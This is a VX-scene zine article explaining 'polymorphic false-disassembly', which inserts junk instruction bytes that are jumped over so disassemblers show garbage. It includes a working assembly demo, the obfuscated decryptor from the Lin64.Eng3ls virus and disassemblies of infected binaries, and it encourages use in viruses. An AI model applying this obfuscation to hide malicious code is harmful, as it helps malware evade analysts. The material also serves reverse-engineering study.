1.6 The Polymorphic False-Disassembly Technique
~ S01den
Written with love by S01den, from the tmp.out crew !
mail: S01den@protonmail.com
Introduction
When I was writting Lin32.Bakunin[0], I was wondering how to make it more interesting than just a virus in mips assembly which prints a dumb shit. I just wanted to piss off reverse engineers. So, I remembered the false-disassembly technique which I implemented in some of my crackmes.
Because polymorphism is cool, I wanted to figure out if it was possible to create something interesting by mixing it with false-disassembly one way or another.
The answer is yes, and I called (I don't know if it's a novel technique or not) this trick "Polymorphic false-disassembly" or simply "Fake polymorphism".
How does false-disassembly work ?
This technique is really straightforward to both understand and implement.
I discovered it in the famous paper of Silvio Cesare[1] about Linux anti-debugging and reversing techniques.
You just have to put some bytes which normally start an instruction before your assembly code, like that:
-------------------- cut-here --------------------
hey: hey:
xor %rbx, %rbx .ascii "\x48\x31"
jmp yo ====> xor %rbx, %rbx
jmp yo
---------------------------------------------------Now, if we look at the disassembled code of those two codes we would have something like this (radare2 ftw):
-------------------- cut-here --------------------
;-- hey:
0x00401002 4831db xor rbx, rbx
0x00401005 eb02 jmp 0x401009
||
\/
;-- hey:
0x00401002 48314831 xor qword [rax + 0x31], rcx
0x00401006 dbeb fucomi st(3)
0x00401008 026631 add ah, byte [rsi + 0x31]
---------------------------------------------------Why does the disassembler behave this way ?
Well, \x48\x31 normally starts a xor instruction[2], the bytes following are usually defining the registers we operate on.
So thoses "initialisation" bytes stick to the bytes which follow, which are also "initialisation" bytes themselves, and the disassembler will interpret them to "registers" bytes and display garbage instead of the wanted instructions!
Therefore, to be able to execute such code, you have to jump over the bytes you've just put.
You should get something like this:
-------------- cut-here --------------
_start:
jmp hey+2
hey:
.ascii "\x48\x31"
xor %rbx, %rbx
jmp yo
---------------------------------------
The full c0de
Now, imagine that you could randomly change the bytes that make the false-disassembly at every execution or infection, the disassembled code would change too and the reverse engineer would think that the code is polymorphic while only few bytes are really changing...
And now, without further delay, the full code.
----------- cut-here -----------
# build cmd: as Linux.FakePolymorphism.asm -o fakePoly.o ; ld fakePoly.o -o fakePoly
# this code is a fake polymorphic example, feel free to try/use/whatever it!
# It grabs itself its code, modify the fake-disassembly bytes and put the result
# on the stack.
.text
.global _start
_start:
jmp true_start+2 # jump over the fake-disassembly bytes
true_start:
.ascii "\x48\x31" # fake-disassembly bytes
xor %rbx, %rbx
jmp get_code+2 # jump over the fake-disassembly bytes
get_code:
.ascii "\x66\x31" # fake-disassembly bytes
call get_rip
sub $0x10 ,%rax # 0x10 is the number of bytes between _start abd this instruction
movb (%rax,%rbx), %al
movb %al, (%rsp,%rbx)
inc %rbx
cmp $0x54, %rbx # 0x54 is the total size of this code
jne get_code+2
# Pseudo RNG thanks to the time stamp counter
rdtsc
xor $0xdead, %rax
mov %ax, 2(%rsp)
xor $0xbeef, %rdx
mov %ax, 9(%rsp)
mov $60, %rax
mov $0, %rdi
syscall # sys_exit
get_rip:
mov (%rsp), %rax
ret
----------------------------
Conclusion
I hope you enjoyed this paper and that you'll try to implement this technique in your crackmes or viruses!
With sblip, we wrote a polymorphic virus (Lin64.Eng3ls, check the paper & the code !)
which uses this technique to obfuscate its decryptor.
The decryptor's code:
------- CUT-HERE -------
pop rcx
jmp jmp_over+2
jmp_over:
db `\x48\x31` ; false disassembly
mov al,0x00
xor rdx, rdx
decoder:
jmp jmp_over2+2
jmp_over2:
db `\xb8\xd9` ; false disassembly
mov dl, byte [r12+rdi]
cmp rdi, STUB_SIZE-1
jna no_decrypt
jmp jmp_over3+2
jmp_over3:
db `\x48\x81` ; false disassembly
xor dl, al
no_decrypt:
mov byte [rbx+rdi], dl
inc rdi
loop decoder
-------------------------Here are some disassembled[3] decryptors from infected binaries, let's see the trick in action:
1.
0x0c003f46 59 pop rcx
0x0c003f47 eb02 jmp 0xc003f4b
0x0c003f49 00d6 add dh, dl
0x0c003f4b b06d mov al, 0x6d
0x0c003f4d 4831d2 xor rdx, rdx
0x0c003f50 eb02 jmp 0xc003f54
0x0c003f52 1aca sbb cl, dl
0x0c003f54 418a143c mov dl, byte [r12 + rdi]
0x0c003f58 4881ff870000. cmp rdi, 0x87
0x0c003f5f 7606 jbe 0xc003f67
0x0c003f61 eb02 jmp 0xc003f65
0x0c003f63 c0d630 rcl dh, 0x30
0x0c003f66 c28814 ret 0x1488
0x0c003f69 3b48ff cmp ecx, dword [rax - 1]
0x0c003f6c c7 invalid
0x0c003f6d e2e1 loop 0xc003f50
2.
0x0c003fe6 59 pop rcx
0x0c003fe7 eb02 jmp 0xc003feb
0x0c003fe9 ce invalid
0x0c003fea 0ab0a34831d2 or dh, byte [rax - 0x2dceb75d]
0x0c003ff0 eb02 jmp 0xc003ff4
0x0c003ff2 39cb cmp ebx, ecx
0x0c003ff4 418a143c mov dl, byte [r12 + rdi]
0x0c003ff8 4881ff870000. cmp rdi, 0x87
0x0c003fff 7606 jbe 0xc004007
0x0c004003 0e invalid
0x0c004004 0a30 or dh, byte [rax]
0x0c004006 c28814 ret 0x1488
0x0c004009 3b48ff cmp ecx, dword [rax - 1]
0x0c00400c c7 invalid
0x0c00400d e2e1 loop 0xc003ff0The result is really different from the original code.
Notes and References
[0] https://vx-underground.org/papers/VXUG/Exclusive/Bakounin/Writing_virus_in_MIPS_assembly_for_fun.txt
[1] http://www.ouah.org/linux-anti-debugging.txt // the silvio's paper
[2] https://www.felixcloutier.com/x86/xor
[3] With radare2
